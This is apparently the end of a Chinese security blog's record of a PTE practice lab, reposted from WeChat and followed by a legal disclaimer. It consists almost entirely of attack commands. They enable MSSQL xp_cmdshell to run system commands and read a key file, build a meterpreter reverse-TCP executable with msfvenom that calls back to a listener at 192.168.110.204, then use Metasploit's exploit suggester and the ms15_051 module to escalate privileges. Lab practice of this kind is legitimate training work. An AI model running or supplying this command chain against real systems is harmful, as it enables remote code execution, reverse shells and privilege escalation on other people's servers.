exec sp_configure "show advanced options",1 //允许修改高级参数
reconfigure //重载配置
exec sp_configure 'xp_cmdshell',1 //开启xp_cmdshell
reconfigure
exec master..xp_cmdshell 'whoami'
exec master..xp_cmdshell 'dir c: /s /b | find ".txt"'
exec master..xp_cmdshell 'type "文件路径key.txt"'
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.110.204 LPORT=4444 -f exe -o a.exe
use exploit/multi/handler //选择监听模块
set payload windows/meterpreter/reverse_tcp //设置监听负载
run
bg //将会话保存至后台
sessions //查看会话列表
use multi/recon/local_exploit_suggester //选择漏洞探测模块
set session 2 //设置攻击目标为会话2
run
use exploit/windows/local/ms15_051_client_copy_image //选择模块
set payload windows/meterpreter/reverse_tcp //设置攻击负载
run
利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全及文章对应作者
不为此承担任何责任
原文始发于微信公众号(犀利猪安全):继续深入 | 一次PTE靶机练习环境记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论